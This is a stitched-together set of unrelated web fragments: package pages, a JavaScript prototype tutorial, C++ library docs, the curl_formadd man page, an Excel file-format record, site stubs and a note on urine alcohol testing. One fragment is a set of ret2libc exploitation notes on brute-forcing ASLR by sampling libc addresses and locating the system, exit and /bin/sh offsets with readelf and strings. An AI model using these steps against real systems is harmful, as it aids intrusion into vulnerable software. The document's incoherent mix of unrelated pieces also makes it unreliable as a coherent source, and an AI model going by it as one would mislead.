| Reference manual: | dplR.pdf |
| Vignettes: |
Chronology Building in dplR An introduction to dplR Time Series Analysis in dplR Crossdating in dplR |
| Package source: | dplR_1.6.9.tar.gz |
| Windows binaries: | r-devel: dplR_1.6.9.zip, r-release: dplR_1.6.9.zip, r-oldrel: dplR_1.6.9.zip |
| OS X binaries: | r-release: dplR_1.6.9.tgz, r-oldrel: dplR_1.6.9.tgz |
| Old sources: | dplR archive |
| Reverse depends: | detrendeR |
| Reverse imports: | iadf, measuRing, MtreeRing, TRADER, xRing |
| Reverse suggests: | bootRes, dendroTools, fPortfolio, pointRes |
Please use the canonical form https://CRAN.R-project.org/package=dplR to link to this page.


"x" "1" "OHUCHIDA,A, TANIGUCHI,A, MAEDA,Y, KASHIHARA,A, OHMAE,S AND MIZUMOTO,T,MUTAGENICITY TESTS OF MIPROXIFENE PHOSPHATE (TAT-59), YAKURI TO CHIRYO25(SUPPL.2):S447-S456, 1997"


In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. JavaScript is a prototype-based language that contains no class statement, as you'd find in C++ or Java (this is sometimes confusing for programmers accustomed to languages with a class statement). Instead, JavaScript uses functions as classes. Let's consider a person object with first and last name fields. There are two ways in which the name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, we could display the data like this:
function makePerson(first, last) {
return {
first: first,
last: last
};
}
function personFullName(person) {
return person.first + ' ' + person.last;
}
function personFullNameReversed(person) {
return person.last + ', ' + person.first;
}
var s = makePerson('Simon', 'Willison');
personFullName(s); // "Simon Willison"
personFullNameReversed(s); // "Willison, Simon"
This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:
function makePerson(first, last) {
return {
first: first,
last: last,
fullName: function() {
return this.first + ' ' + this.last;
},
fullNameReversed: function() {
return this.last + ', ' + this.first;
}
};
}
var s = makePerson('Simon', 'Willison');
s.fullName(); // "Simon Willison"
s.fullNameReversed(); // "Willison, Simon"
Note on the this keyword. Used inside a function, this
refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using dot notation or bracket notation on an object, that object becomes this
. If dot notation wasn't used for the call, this
refers to the global object.
Note that this
is a frequent cause of mistakes. For example:
var s = makePerson('Simon', 'Willison');
var fullName = s.fullName;
fullName(); // undefined undefined
When we call fullName()
alone, without using s.fullName()
, this
is bound to the global object. Since there are no global variables called first
or last
we get undefined
for each one.
We can take advantage of the this
keyword to improve our makePerson
function:
function Person(first, last) {
this.first = first;
this.last = last;
this.fullName = function() {
return this.first + ' ' + this.last;
};
this.fullNameReversed = function() {
return this.last + ', ' + this.first;
};
}
var s = new Person('Simon', 'Willison');
We have introduced another keyword: new
. new
is strongly related to this
. It creates a brand new empty object, and then calls the function specified, with this
set to that new object. Notice though that the function specified with this
does not return a value but merely modifies the this
object. It's new
that returns the this
object to the calling site. Functions that are designed to be called by new
are called constructor functions. Common practice is to capitalize these functions as a reminder to call them with new
.
The improved function still has the same pitfall with calling fullName()
alone.
Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it — wouldn't it be better if this code was shared?
function personFullName() {
return this.first + ' ' + this.last;
}
function personFullNameReversed() {
return this.last + ', ' + this.first;
}
function Person(first, last) {
this.first = first;
this.last = last;
this.fullName = personFullName;
this.fullNameReversed = personFullNameReversed;
}
That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:
function Person(first, last) {
this.first = first;
this.last = last;
}
Person.prototype.fullName = function() {
return this.first + ' ' + this.last;
};
Person.prototype.fullNameReversed = function() {
return this.last + ', ' + this.first;
};
Person.prototype
is an object shared by all instances of Person
. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of Person
that isn't set, JavaScript will check Person.prototype
to see if that property exists there instead. As a result, anything assigned to Person.prototype
becomes available to all instances of that constructor via the this
object.
This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:
var s = new Person('Simon', 'Willison');
s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function
Person.prototype.firstNameCaps = function() {
return this.first.toUpperCase();
};
s.firstNameCaps(); // "SIMON"
Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to String
that returns that string in reverse:
var s = 'Simon';
s.reversed(); // TypeError on line 1: s.reversed is not a function
String.prototype.reversed = function() {
var r = '';
for (var i = this.length - 1; i >= 0; i--) {
r += this[i];
}
return r;
};
s.reversed(); // nomiS
Our new method even works on string literals!
'This can now be reversed'.reversed(); // desrever eb won nac sihT
As mentioned before, the prototype forms part of a chain. The root of that chain is Object.prototype
, whose methods include toString()
— it is this method that is called when you try to represent an object as a string. This is useful for debugging our Person
objects:
var s = new Person('Simon', 'Willison');
s.toString(); // [object Object]
Person.prototype.toString = function() {
return '';
}
s.toString(); // ""
Remember how avg.apply()
had a null first argument? We can revisit that now. The first argument to apply()
is the object that should be treated as 'this
'. For example, here's a trivial implementation of new
:
function trivialNew(constructor, ...args) {
var o = {}; // Create an object
constructor.apply(o, args);
return o;
}
This isn't an exact replica of new
as it doesn't set up the prototype chain (it would be difficult to illustrate). This is not something you use very often, but it's useful to know about. In this snippet, ...args
(including the ellipsis) is called the "rest arguments" — as the name implies, this contains the rest of the arguments.
Calling
var bill = trivialNew(Person, 'William', 'Orange');
is therefore almost equivalent to
var bill = new Person('William', 'Orange');
apply()
has a sister function named call, which again lets you set this
but takes an expanded argument list as opposed to an array.
function lastNameCaps() {
return this.last.toUpperCase();
}
var s = new Person('Simon', 'Willison');
lastNameCaps.call(s);
// Is the same as:
s.lastNameCaps = lastNameCaps;
s.lastNameCaps(); // WILLISON
Inner functions
JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier makePerson()
function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:
function parentFunc() {
var a = 1;
function nestedFunc() {
var b = 4; // parentFunc can't use this
return a + b;
}
return nestedFunc(); // 5
}
This provides a great deal of utility in writing more maintainable code. If a called function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside it. This keeps the number of functions that are in the global scope down, which is always a good thing.
This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — "local globals" if you like. This technique should be used with caution, but it's a useful ability to have.


Thought process for RET2LIBC (at least in this example).
# for i in `seq 0 20`; do ldd ovrfl | grep libc; done
Notice that the first 2 bytes and the last 3 bytes of the address don't change much. The 3rd byte rarely changes, and typically is one of two values (50/50 chance). With 2 bytes always changing, there are roughly 16 * 16 = 256 possible values for the bytes that are always changing. This is brute forcing ASLR. Brute forcing doesn't work when the program crashes (and you don't have a chance to restart it), but will work for this case.
With bruteforcing ASLR, a few things are needed:
An address in range for LIBC. This is the address that libc will be at "sometimes"
An offset for SYSTEM
An offset for EXIT
An offset for /bin/sh
Finding an address in range for LIBC:
On the target victim machine:
for i in `seq 0 20`; do ldd ovrl | grep libc; done
0xb75e0000
0xb7589000
0xb763d000
0xb75f8000
Note the addresses above. Notice the range of these addresses.
Alternatively, if you can load the binary in a debugger with peda, you can do:
(gdb) p system
To obtain an address and use this as your base. Double check that it falls within the addresses above.
Finding offsets:
We will also have to calculate the exit addr and the arg addr. This can be done using offsets. Can use readelf to help identify offsets.
Get the system offset
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Get the exit offset
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
Use strings to obtain command to run (typically /bin/sh) and it's address
$ strings -a -t -x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Can pad with 0 at front if the address isn't long enough


Natural ability
The Togepi shell is filled with pheromones of happiness, which he shares with kind-hearted people. And if Togepi is well treated, his soothing aura, which he spreads, intensifies.


|
Simbody
3.5
|
Matrix "structure" refers to an inherent mathematical (or at least algorithmic) characteristic of the matrix rather than a storage strategy. More...
Classes | |
| struct | Mask |
Public Types | |
| enum | Structure { NoStructure = 0x00000000, Matrix1d = 0x00000001, Zero = 0x00000002, Identity = 0x00000004, Permutation = 0x00000008, RepeatedDiagonal = 0x00000010, Diagonal = 0x00000020, BiDiagonal = 0x00000040, TriDiagonal = 0x00000080, BandedSymmetric = 0x00000100, BandedHermitian = 0x00000200, Banded = 0x00000400, Triangular = 0x00000800, QuasiTriangular = 0x00001000, Hessenberg = 0x00002000, Symmetric = 0x00004000, Hermitian = 0x00008000, SkewSymmetric = 0x00010000, SkewHermitian = 0x00020000, Full = 0x00040000 } |
| enum | Position { NoPosition = 0x0000, Lower = 0x0001, Upper = 0x0002 } |
| For triangular matrices, we have to know which triangle we're talking about. More... | |
| enum | DiagValue { NoDiagValue = 0x0000, StoredDiag = 0x0001, ZeroDiag = 0x0002, UnitDiag = 0x0004 } |
| For triangular, symmetric, and hermitian matrices the diagonal elements may have a single, assumed value rather than being stored in memory. More... | |
| typedef unsigned int | StructureMask |
| typedef unsigned short | PositionMask |
| typedef unsigned short | DiagValueMask |
Public Member Functions | |
| MatrixStructure & | setMissingAttributes () |
| std::string | name () const |
| MatrixStructure () | |
| MatrixStructure (Structure s, Position p=NoPosition, DiagValue d=NoDiagValue) | |
| This constructor is also an implicit conversion from the Structure enum to a MatrixStructure object which does not specify Position or DiagValue. More... | |
| Mask | mask () const |
| Given a Structure commitment, which more-restrictive Structures will still satisfy this commitment? Returned value is a mask with a bit set for every Structure that is satisfactory. More... | |
| Structure | getStructure () const |
| Position | getPosition () const |
| DiagValue | getDiagValue () const |
| MatrixStructure & | setStructure (Structure s) |
| MatrixStructure & | setPosition (Position p) |
| MatrixStructure & | setDiagValue (DiagValue d) |
| MatrixStructure & | set (Structure s, Position p, DiagValue d) |
| MatrixStructure & | setToNone () |
Static Public Member Functions | |
| static const char * | name (Structure) |
| static StructureMask | calcStructureMask (Structure) |
| static const char * | name (Position) |
| static PositionMask | calcPositionMask (Structure) |
| static const char * | name (DiagValue) |
| static DiagValueMask | calcDiagValueMask (Structure) |
Static Public Attributes | |
| static const StructureMask | AnyStructure = 0x0007ffffU |
| static const StructureMask | UncommittedStructure = 0xffffffffU |
| static const PositionMask | AnyPosition = 0x0003U |
| static const PositionMask | UncommittedPosition = 0xffffU |
| static const DiagValueMask | AnyDiagValue = 0x0003U |
| static const DiagValueMask | UncommittedDiagValue = 0xffffU |
Matrix "structure" refers to an inherent mathematical (or at least algorithmic) characteristic of the matrix rather than a storage strategy.
Symmetry is the clearest example of this; it is far more significant mathematically than just a way to save storage and reduce operation count.
| typedef unsigned int SimTK::MatrixStructure::StructureMask |
| typedef unsigned short SimTK::MatrixStructure::PositionMask |
| typedef unsigned short SimTK::MatrixStructure::DiagValueMask |
For triangular matrices, we have to know which triangle we're talking about.
Don't confuse this with MatrixStorage::Placement which has to do with where we put it in memory, *not* what matrix is being represented.
| Enumerator | |
|---|---|
| NoPosition | |
| Lower | |
| Upper |
For triangular, symmetric, and hermitian matrices the diagonal elements may have a single, assumed value rather than being stored in memory.
This specifies the value. Don't confuse this with the similar MatrixStorage type which simply says whether there is a known value rather than stored values, *not* what that value is.
| Enumerator | |
|---|---|
| NoDiagValue | |
| StoredDiag | |
| ZeroDiag | |
| UnitDiag |
|
inline |
|
inline |
This constructor is also an implicit conversion from the Structure enum to a MatrixStructure object which does not specify Position or DiagValue.
|
static |
|
static |
|
static |
|
static |
|
static |
|
static |
|
inline |
|
inline |
| Mask SimTK::MatrixStructure::mask | ( | ) | const |
Given a Structure commitment, which more-restrictive Structures will still satisfy this commitment? Returned value is a mask with a bit set for every Structure that is satisfactory.
For example, if the commitment is "Banded", "Diagonal" is also acceptable.
|
inline |
|
inline |
|
inline |
|
inline |
|
inline |
|
inline |
|
inline |
|
inline |
|
static |
|
static |
|
static |
|
static |
|
static |
|
static |


curl_formadd - add a section to a multipart/formdata HTTP
POST
SYNOPSIS
#include <curl/curl.h>
CURLFORMcode curl_formadd(struct HttpPost ** firstitem,
struct HttpPost ** lastitem, ...);
DESCRIPTION
curl_formadd() is used to append sections when building a
multipart/formdata HTTP POST (sometimes refered to as
rfc1867-style posts). Append one section at a time until
you've added all the sections you want included and then
you pass the firstitem pointer as parameter to CUR-
LOPT_HTTPPOST. lastitem is set after each call and on
repeated invokes it should be left as set to allow
repeated invokes to find the end of the list faster.
After the lastitem pointer follow the real arguments.
The pointers *firstitem and *lastitem should both be
pointing to NULL in the first call to this function. All
list-data will be allocated by the function itself. You
must call curl_formfree after the form post has been done
to free the resources again.
First, there are some basics you need to understand about
multipart/formdata posts. Each part consists of at least a
NAME and a CONTENTS part. If the part is made for file
upload, there are also a stored CONTENT-TYPE and a FILE-
NAME. Below here, we'll discuss on what options you use to
set these properties in the parts you want to add to your
post.
OPTIONS
CURLFORM_COPYNAME followed by string is used to set the
name of this part. libcurl copies the given data, so your
application doesn't need to keep it around after this
function call. If the name isn't zero terminated properly,
or if you'd like it to contain zero bytes, you need to set
the length of the name with CURLFORM_NAMELENGTH.
CURLFORM_PTRNAME followed by a string is used for the name
of this part. libcurl will use the pointer and refer to
the data in your application, you must make sure it
remains until curl no longer needs it. If the name isn't
zero terminated properly, or if you'd like it to contain
zero bytes, you need to set the length of the name with
CURLFORM_NAMELENGTH.
CURLFORM_COPYCONTENTS followed by a string is used for the
need to keep it around after this function call. If the
data isn't zero terminated properly, or if you'd like it
to contain zero bytes, you need to set the length of the
name with CURLFORM_CONTENTSLENGTH.
CURLFORM_PTRCONTENTS followed by a string is used for the
contents of this part, the actual data to send away.
libcurl will use the pointer and refer to the data in your
application, you must make sure it remains until curl no
longer needs it. If the data isn't zero terminated prop-
erly, or if you'd like it to contain zero bytes, you need
to set the length of the name with CURLFORM_CON-
TENTSLENGTH.
CURLFORM_FILECONTENT followed by a file name, makes that
file read and the contents will be used in as data in this
part.
CURLFORM_FILE followed by a file name, makes this part a
file upload part. It sets the file name field to the
actual file name used here, it gets the contents of the
file and passes as data and sets the content-type if the
given file match one of the new internally known file
extension. For CURLFORM_FILE the user may send one or
more files in one part by providing multiple CURLFORM_FILE
arguments each followed by the filename (and each CURL-
FORM_FILE is allowed to have a CURLFORM_CONTENTTYPE).
CURLFORM_CONTENTTYPE followed by a pointer to a string
with a content-type will make curl use this given content-
type for this file upload part, possibly instead of an
internally chosen one.
CURLFORM_FILENAME followed by a pointer to a string to a
name, will make libcurl use the given name in the file
upload part, intead of the actual file name given to CURL-
FORM_FILE.
BCURLFORM_BUFFER followed by a string, tells libcurl that
a buffer is to be used to upload data instead of using a
file. The given string is used as the value of the file
name field in the content header.
CURLFORM_BUFFERPTR followed by a pointer to a data area,
tells libcurl the address of the buffer containing data to
upload (as indicated with CURLFORM_BUFFER). The buffer
containing this data must not be freed until after
curl_easy_cleanup is called.
CURLFORM_BUFFERLENGTH followed by a long with the size of
the CURLFORM_BUFFERPTR data area, tells libcurl the length
of the buffer to upload.
curl_formadd() is the CURLFORM_ARRAY option, that passes a
struct curl_forms array pointer as its value. Each
curl_forms structure element has a CURLformoption and a
char pointer. The final element in the array must be a
CURLFORM_END. All available options can be used in an
array, except the CURLFORM_ARRAY option itself! The last
argument in such an array must always be CURLFORM_END.
CURLFORM_CONTENTHEADER specifies extra headers for the
form POST section. This takes a curl_slist prepared in
the usual way using curl_slist_append and appends the list
of headers to those libcurl automatically generates. The
list must exist while the POST occurs, if you free it
before the post completes you may experience problems.
When you've passed the HttpPost pointer to
curl_easy_setopt (using the CURLOPT_HTTPPOST option), you
must not free the list until after you've called
curl_easy_cleanup for the curl handle.
See example below.
RETURN VALUE
0 means everything was ok, non-zero means an error
occurred as <curl/curl.h> defines.
EXAMPLE
struct HttpPost* post = NULL;
struct HttpPost* last = NULL;
char namebuffer[] = "name buffer";
long namelength = strlen(namebuffer);
char buffer[] = "test buffer";
char htmlbuffer[] = "test buffer";
long htmlbufferlength = strlen(htmlbuffer);
struct curl_forms forms[3];
char file1[] = "my-face.jpg";
char file2[] = "your-face.jpg";
/* add null character into htmlbuffer, to demonstrate that
transfers of buffers containing null characters actually work
*/
htmlbuffer[8] = '\0';
/* Add simple name/content section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "name",
CURLFORM_COPYCONTENTS, "content", CURLFORM_END);
/* Add simple name/content/contenttype section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "htmlcode",
CURLFORM_COPYCONTENTS, "",
CURLFORM_CONTENTTYPE, "text/html", CURLFORM_END);
/* Add name/ptrcontent section */
/* Add ptrname/ptrcontent section */
curl_formadd(&post, &last, CURLFORM_PTRNAME, namebuffer,
CURLFORM_PTRCONTENTS, buffer, CURLFORM_NAMELENGTH,
namelength, CURLFORM_END);
/* Add name/ptrcontent/contenttype section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "html_code_with_hole",
CURLFORM_PTRCONTENTS, htmlbuffer,
CURLFORM_CONTENTSLENGTH, htmlbufferlength,
CURLFORM_CONTENTTYPE, "text/html", CURLFORM_END);
/* Add simple file section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "picture",
CURLFORM_FILE, "my-face.jpg", CURLFORM_END);
/* Add file/contenttype section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "picture",
CURLFORM_FILE, "my-face.jpg",
CURLFORM_CONTENTTYPE, "image/jpeg", CURLFORM_END);
/* Add two file section */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "pictures",
CURLFORM_FILE, "my-face.jpg",
CURLFORM_FILE, "your-face.jpg", CURLFORM_END);
/* Add two file section using CURLFORM_ARRAY */
forms[0].option = CURLFORM_FILE;
forms[0].value = file1;
forms[1].option = CURLFORM_FILE;
forms[1].value = file2;
forms[2].option = CURLFORM_END;
/* Add a buffer to upload */
curl_formadd(&post, &last,
CURLFORM_COPYNAME, "name",
CURLFORM_BUFFER, "data",
CURLFORM_BUFFERPTR, record,
CURLFORM_BUFFERLENGTH, record_length,
CURLFORM_END);
/* no option needed for the end marker */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "pictures",
CURLFORM_ARRAY, forms, CURLFORM_END);
/* Add the content of a file as a normal post text value */
curl_formadd(&post, &last, CURLFORM_COPYNAME, "filecontent",
CURLFORM_FILECONTENT, ".bashrc", CURLFORM_END);
/* Set the form info */
curl_easy_setopt(curl, CURLOPT_HTTPPOST, post);
SEE ALSO
BUGS
Surely there are some, you tell me!
Man(1) output converted with
man2html


This project allows users to draft a schedule of available courses, courses can be searched by various different elements. Limited functionality is available to unregistered users


InitJoystick()
语法
Result = InitJoystick()概要
Initialize the joystick environment for later use. This function must be called before any other functions within this library.
返回值
Returns the number of joysticks available for use.
备注
This function can be called on regular basis to detect if new joystick have been connected.
参阅
ExamineJoystick()
已支持操作系统
所有


0
1
2
3
4
password:
your password is correct !
you just won yourself a free track !
sorry, your password is wrong :|
[ at least you got a free track ! ]


The DCONREF record contains the complete description of a range of cells for the Consolidate command (Data menu). The rgch field contains an encoded workbook name. For more information about this field, see “EXTERNSHEET EXB0068 ”.
Record Data
|
Offset |
Field Name |
Size |
Contents |
|
4 |
rwFirst |
2 |
First row of the source area for consolidation |
|
6 |
rwLast |
2 |
Last row of the source area for consolidation |
|
8 |
colFirst |
1 |
First column of the source area for consolidation |
|
9 |
colLast |
1 |
Last column of the source area for consolidation |
|
10 |
cch |
1 |
Length of the workbook name |
|
11 |
rgch |
1 |
Workbook name |


Mebzy Live
(For all your Mebzy needs)
Links
Twitch
Twitter
YouTube
Reddit
Donate
forever under construction


Welcome to the Epicodus Resort
accommodations
activities
pictures
travel arrangements
contact
Relaxation Awaits!


Details
When alcohol is ingested, it is absorbed directly from the proximal
small intestine and distributed throughout the entire fluid space of
the body. After equilibrium is reached, alcohol will be found in all
tissues of the body in proportion to their water content. Urine is the
most practical specimen for alcohol testing in the workplace, when
the purpose of testing is to demonstrate that alcohol consumption
has occurred. Peak urine alcohol levels are reached 45 to 60 minutes
after alcohol ingestion. At this time, urine alcohol levels are
typically about 1.3 times greater than the corresponding blood alcohol
concentration. This ratio is only valid during the elimination phase,
which occurs after the blood alcohol level has peaked and is decreasing.